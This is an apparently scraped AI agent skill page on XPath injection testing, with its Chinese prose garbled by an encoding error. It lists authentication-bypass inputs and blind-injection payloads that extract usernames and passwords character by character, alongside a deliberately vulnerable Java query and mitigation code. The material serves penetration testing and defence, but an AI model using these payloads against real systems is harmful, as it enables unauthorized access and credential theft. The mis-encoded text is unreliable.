xpath-injection-testing
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill xpath-injection-testing
Agent 安装分布
Skill 文档
XPathæ³¨å ¥æ¼æ´æµè¯
æ¦è¿°
XPathæ³¨å ¥æ¯ä¸ç§ç±»ä¼¼äºSQLæ³¨å ¥çæ¼æ´ï¼å©ç¨XPathæ¥è¯¢è¯å¥çæé 缺é·ï¼å¯è½å¯¼è´ä¿¡æ¯æ³é²ã认è¯ç»è¿çãæ¬æè½æä¾XPathæ³¨å ¥çæ£æµãå©ç¨å鲿¤æ¹æ³ã
æ¼æ´åç
åºç¨ç¨åºå°ç¨æ·è¾å ¥ç´æ¥æ¼æ¥å°XPathæ¥è¯¢è¯å¥ä¸ï¼æªè¿è¡å åéªè¯åè¿æ»¤ï¼å¯¼è´æ»å»è å¯ä»¥ä¿®æ¹æ¥è¯¢é»è¾ã
å±é©ä»£ç 示ä¾ï¼
String xpath = "//user[username='" + username + "' and password='" + password + "']";
XPathExpression expr = xpath.compile(xpath);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
XPathåºç¡
æ¥è¯¢è¯æ³
åºç¡æ¥è¯¢ï¼
//user[username='admin']
//user[@id='1']
//user[username='admin' and password='pass']
//user[username='admin' or username='user']
彿°
常ç¨å½æ°ï¼
text()– è·åææ¬å 容count()– 计æ°substring()– åå符串string-length()– å符串é¿åº¦contains()– å 嫿£æ¥
æµè¯æ¹æ³
1. è¯å«XPathè¾å ¥ç¹
常è§åè½ï¼
- ç¨æ·ç»å½
- æ°æ®æç´¢
- XMLæ°æ®æ¥è¯¢
- é ç½®æ¥è¯¢
2. åºç¡æ£æµ
æµè¯ç¹æ®å符ï¼
' or '1'='1
' or '1'='1' or '
' or 1=1 or '
') or ('1'='1
æµè¯é»è¾æä½ç¬¦ï¼
' or '1'='1
' and '1'='2
' or 1=1 or '
3. 认è¯ç»è¿
åºç¡ç»è¿ï¼
ç¨æ·å: admin' or '1'='1
å¯ç : anything
æ¥è¯¢: //user[username='admin' or '1'='1' and password='anything']
æ´ç²¾ç¡®çç»è¿ï¼
ç¨æ·å: admin') or ('1'='1
æ¥è¯¢: //user[username='admin') or ('1'='1' and password='*']
4. ä¿¡æ¯æ³é²
æä¸¾ç¨æ·ï¼
' or 1=1 or '
' or '1'='1
') or 1=1 or ('
è·åèç¹æ°éï¼
' or count(//user)>0 or '
è·åç¹å®èç¹ï¼
' or substring(//user[1]/username,1,1)='a' or '
å©ç¨ææ¯
认è¯ç»è¿
æ¹æ³1ï¼é»è¾ç»è¿
è¾å
¥: admin' or '1'='1
æ¥è¯¢: //user[username='admin' or '1'='1' and password='*']
ç»æ: å¹é
ææç¨æ·
æ¹æ³2ï¼æ³¨éç»è¿
è¾å
¥: admin')] | //* | //*[('
æ¥è¯¢: //user[username='admin')] | //* | //*[('' and password='*']
æ¹æ³3ï¼å¸å°ç²æ³¨
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,1,1)='b' or '
ä¿¡æ¯æ³é²
æä¸¾ææç¨æ·ï¼
' or 1=1 or '
ç»æ: è¿åææç¨æ·èç¹
è·åç¨æ·åï¼
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,2,1)='d' or '
鿥è·åæ¯ä¸ªå符
è·åå¯ç ï¼
' or substring(//user[1]/password,1,1)='p' or '
鿥è·åå¯ç å符
ç²æ³¨ææ¯
åºäºæ¶é´çç²æ³¨ï¼
' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or '
åºäºå¸å°å¼çç²æ³¨ï¼
' or substring(//user[1]/username,1,1)='a' or '
è§å¯ååºå·®å¼
ç»è¿ææ¯
ç¼ç ç»è¿
URLç¼ç ï¼
' or '1'='1 â %27%20or%20%271%27%3D%271
HTMLå®ä½ç¼ç ï¼
' â '
" â "
< â <
> â >
注éç»è¿
ä½¿ç¨æ³¨éï¼
' or 1=1 or '
' or '1'='1' or '
彿°ç»è¿
使ç¨ä¸å彿°ï¼
substring(//user[1]/username,1,1)
substring(//user[position()=1]/username,1,1)
//user[1]/username/text()[1]
å·¥å ·ä½¿ç¨
XPathè¡¨è¾¾å¼æµè¯
å¨çº¿å·¥å ·ï¼
- XPath Tester
- XMLSpy
- Oxygen XML Editor
Burp Suite
- æ¦æªXPathæ¥è¯¢è¯·æ±
- ä¿®æ¹æ¥è¯¢åæ°
- è§å¯ååºç»æ
Pythonèæ¬
from lxml import etree
from lxml.etree import XPath
# å è½½XMLææ¡£
doc = etree.parse('users.xml')
# æµè¯æ³¨å
¥
xpath_expr = "//user[username='admin' or '1'='1']"
xpath = XPath(xpath_expr)
results = xpath(doc)
print(results)
éªè¯åæ¥å
éªè¯æ¥éª¤
- 确认å¯ä»¥æ§å¶XPathæ¥è¯¢
- éªè¯è®¤è¯ç»è¿æä¿¡æ¯æ³é²
- è¯ä¼°å½±åï¼æªææè®¿é®ãæ°æ®æ³é²çï¼
- è®°å½å®æ´çPOC
æ¥åè¦ç¹
- æ¼æ´ä½ç½®åè¾å ¥åæ°
- XPathæ¥è¯¢æé æ¹å¼
- 宿´çå©ç¨æ¥éª¤åPoC
- ä¿®å¤å»ºè®®ï¼è¾å ¥éªè¯ãåæ°åæ¥è¯¢çï¼
鲿¤æªæ½
æ¨èæ¹æ¡
-
è¾å ¥éªè¯
private static final String[] XPATH_ESCAPE_CHARS = {"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "}; public static String escapeXPath(String input) { if (input == null) { return null; } StringBuilder sb = new StringBuilder(); for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) { sb.append("\\"); } sb.append(c); } return sb.toString(); } -
åæ°åæ¥è¯¢
// 使ç¨XPathåé String xpath = "//user[username=$username and password=$password]"; XPathExpression expr = xpath.compile(xpath); XPathVariableResolver resolver = new MapVariableResolver( Map.of("username", escapedUsername, "password", escapedPassword)); expr.setXPathVariableResolver(resolver); -
ç½ååéªè¯
// åªå 许ç¹å®å符 if (!input.matches("^[a-zA-Z0-9@._-]+$")) { throw new IllegalArgumentException("Invalid input"); } -
使ç¨é¢ç¼è¯æ¥è¯¢
// é¢å®ä¹æ¥è¯¢æ¨¡æ¿ private static final String LOGIN_QUERY = "//user[username=$1 and password=$2]"; // 使ç¨åæ°ç»å® -
æå°æé
- éå¶XPathæ¥è¯¢èå´
- 使ç¨è®¿é®æ§å¶
- éå¶å¯æ¥è¯¢çèç¹
注æäºé¡¹
- ä» å¨æææµè¯ç¯å¢ä¸è¿è¡
- 注æä¸åXPathçæ¬çè¯æ³å·®å¼
- æµè¯æ¶é¿å 对XMLæ°æ®é æå½±å
- äºè§£ç®æ åºç¨çXPathå®ç°